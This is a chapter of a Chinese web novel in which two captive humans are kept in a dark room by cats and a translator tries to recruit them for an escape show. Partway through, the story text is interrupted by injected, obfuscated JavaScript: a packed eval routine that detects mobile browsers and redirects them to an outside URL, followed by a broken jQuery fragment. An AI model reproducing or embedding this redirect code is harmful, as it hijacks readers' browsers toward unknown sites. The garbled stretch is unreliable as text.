红外线监控电子眼隐匿在黑暗里，偶尔发出金属转动的声音——


    “咔嗒、咔嗒。”


    细微的声音在绝对安静的环境里，被无限放大。


    炎炎环抱着自己，朝贾小人的方向又贴近一些，“老大，你听见了吗？”


    他的声线里带着颤。


    其实在贾小人没来之前的几天，炎炎也是这么过来的。


    他在伸手不见五指的黑暗里慢慢适应，直到现在行动自如。


    可他仍不敢动。


    炎炎总觉得有很多双眼睛在看他。


    那是一种无形的压迫感，令人心生惧意。


    最开始的时候，炎炎并不是被关在这间逼仄的小黑屋里。


    初来乍到的他，住进一个很大的房间。


    房间里有光、有床、有很多自然人。


    还有一台巨大的、黑色的摄像机。


    与剧组里的一模一样。


    因为天生的阶级制度，房间里的自然人不愿意和炎炎说话。


    没有人理他。


    当然，也没有人欺负他。


    炎炎两眼一抹黑，并不清楚发生了什么事。更不清楚为什么，在运输车里睡得好好的他，一觉醒来会处在陌生的环境里。


    他只能学着那些自然人，在硬板床上从早躺到晚，然后在天黑时吃一碗凉透的玉米糊糊。


    糊糊的味道不算好，但很顶饱。


    大猫们每天都会带一两个自然人出去，那些人出去后再没回来。


    渐渐地，房间越来越空旷。


    最后，只剩他一个。


    或许是大猫们觉得，炎炎一个人住不上这么大的房间，于是将他赶进小黑屋里。


    小黑屋的天花板上有一颗坏掉的灯泡。


    猫没修。


    小黑屋其实算不上屋，它更像是一口被封闭的井。


    没有光、没有床，只有偶尔灌入的呼啸的冷风。


    炎炎一度以为会在这里了此残生，直到贾小人的到来。


    他再不觉得孤寂。


    ——


    连着吃了四天的带壳米饭，贾小人的双颊肉眼可见的瘦削下去。


    胖墩儿瘦了。


    他现在纯属是个墩儿。


    被饿的这些天，贾小人一改往日的叽叽喳喳，时常一个墩儿坐在角落里，杵着下巴当沉思者。


    炎炎仍旧寸步不离的跟着。


    本来是不想跟的。


    可他感冒了。


    小黑屋里没有暖气、没有被子，甚至连一块床板都没有。


    水泥地凉，夜里冻得人直哆嗦。


    炎炎本想和老大抱团取暖，奈何贾小人的睡相实在是差，还时不时给上他一脚。


    又要挨冻，还得挨踹。


    炎炎吃不香还睡不好，终于在昨天夜里发起高烧。


    他的烧是后半夜自己退的。


    贾小人眼睛一闭跟演醉汉似的，打呼、磨牙、嘴还滂臭。


    偏偏又知冷热！


    他闭着眼，死死抱住烧得像暖炉似的炎炎不撒手，愣是将人闷出一身汗。


    是送饭的坏猫将他俩扒开的。


    炎炎抱着手里的草药汁，小口小口地吸溜。


    药汁味苦，但没他命苦！


    炎炎心想。


    ……


    缺了口的瓷碗内壁上沾着些草药渣，随着晃荡的药汁沉沉又浮浮。


    贾小人一双眼皮舍不得眨，他静静坐在炎炎身边，等着尝两口他喝剩的药渣。


    墩儿是真饿了！


    那群坏猫像是吃不起好的。


    整整四个日夜，贾小人没见过一块肉沫星子。


    “炎炎，我想吃我爸蒸的帝王蟹……”胖墩儿忽然瘫在地上，有气无力道：“其实也不一定要帝王蟹，九节虾也行……我不挑。”


    炎炎：“……”要不你挑挑呢？


    小胖墩的假想还在继续：“没有九节虾也行，其实炖猪脚也是能打发我的。”


    炎炎不想说话。


    纯属没劲儿。


    小黑屋外冬风呼啸，时不时有几丝凉气顺着砖缝钻进来，将蜷着的俩人冻得直哆嗦。


    晾凉后的草药汁更苦了。


    外头那群坏猫也不知打得什么主意。


    好像怕他们活着，又好像怕他们死了。


    炎炎捧着小破碗，迟迟无法下嘴。


    溢出嘴角的涎水被贾小人吸溜着咽回嘴里：“炎炎，你还喝不？你要是不喝了，能给我尝两口不？”


    “这是药啊！不好喝的！”


    胖墩儿的耳朵跟摆设似的，一个字也没听进去，“我就尝两口！不喝完！你放心，我指定能剩点儿给你！”


    炎炎：“……”有句话不知当讲不当讲。


    *


    最后那碗苦到让人作呕的草药汁，愣是被贾小人抢去大半碗。


    剩下的半碗，连汁儿带瓷都让他cei了。


    原因无他。


    贾小人心心念念的炖猪脚来了，还是满满的一整盆！


    有肉谁还喝这苦哈哈的草药汁？


    送肉来的是多日不见的人宠翻译，“贾老师饿了吧！快趁热来吃！”


    翻译手里的金属叉子还没递出去，贾小人已经将头埋进盆里，大快朵颐。


    炎炎不认识眼前这个莫名出现的人宠。


    他警惕着，脚步稍稍往后挪，“老大，只要我们不吃他送来的东西，肯定不会有事！”


    沾着油渍的脏脸从盆里抬起来，贾小人嗦嗦猪骨里的酱汁，疑惑着：“嗯？你说啥？”


    敢情一个字也没听进去！


    “老大……你吃了？”


    “昂？有肉不吃是傻子！”炎炎是傻子，但贾小人不说。


    他只在心里蛐蛐。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091836|174594||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人宠翻译在社会上摸打滚爬十几年，炎炎一个眼神就让他读懂对方心里所想，“你放心，肉里没放不干净的东西。”


    “就算放了，你也不会说实话。”平日里一棍打不出个屁来的炎炎，此刻嘴皮子利索得很，“无功不受禄！说吧，你想干什么？”


    “我和你们一样，也是被绑来的。”人宠翻译整理压出褶的袖口，“和贾老师一辆车。”


    贾小人点头，“对！我俩一趟车来的。”


    炎炎没理他。


    他直勾勾盯着眼前衣着得体的人宠翻译，心里的防备一点儿没少，“你跟那些坏猫是一伙儿的？”


    ……


    事实上，人宠翻译和那群坏猫确实不是一伙儿。


    下车之后，他被猫带进一个很大的，叠满四方笼子的房间里。


    每个笼子里都被关了一只自然人，他们或躺或坐，一点儿害怕的样子也没有。


    像是习惯这样的生活。


    也或者是认命了。


    翻译今年已经近四十，在人宠界里，算得上中老年人。


    跟着剧组东奔西跑的这些年，他早已适应各式各样的恶劣环境。


    人宠翻译很快冷静下来。


    将他关进笼子的那只白猫忽然开口：“这只人宠看起来年纪不小了。”


    另一只串串猫接了话：“等下我找个角度拍，保证把他拍得漂漂亮亮的！”


    “行！”白猫在笼子上扣了锁，“摄影这行，你是专业的，靠你了！”


    “包我身上！”串串猫抬爪，小心翼翼掀开将笼子塔中央的那块黑绸布，“白哥，你把那些睡着的人宠叫起来！躺着像什么样子？一点儿精气神都没有！”


    ……


    因为翻译听得懂猫说话，所以才被猫单独拎出来。


    这一次，他仍被赋予本职工作。


    人宠翻译似乎不太习惯阴暗的环境，自打进入小黑屋，他一分钟至少800个小动作。


    这会儿，他将刚捋好的袖口又卷起来，“其实，我是来当说客的，那群坏猫……也说不上坏，他们其实在拍一档逃生节目，我、你们，以及其他人宠，都是被邀请来参加这档节目的人宠嘉宾。”


    邀请？


    炎炎回忆起被五花大绑的自己。


    那种邀请方式多少是有点儿不拘小节了哈！


    从原则上来说，只要有点脑子的都不能信这样牵强的说辞。


    但贾小人不一样，他没脑子。


    “真哒？”胖墩儿伸舌舔一圈嘴边的油渍，表情略显神气：“我就知道！他们肯定是奔着我的名气来的！果然让我猜着了！”


    炎炎张了张嘴，愣是没能吐出一个字。


    人宠翻译嘴角上扬，笑容轻轻：“我们现在还缺一位女性人宠嘉宾，不知道贾老师有没有推荐？”


    胖墩儿抬袖往嘴上一抹，“等着！我现在就给你摇人！”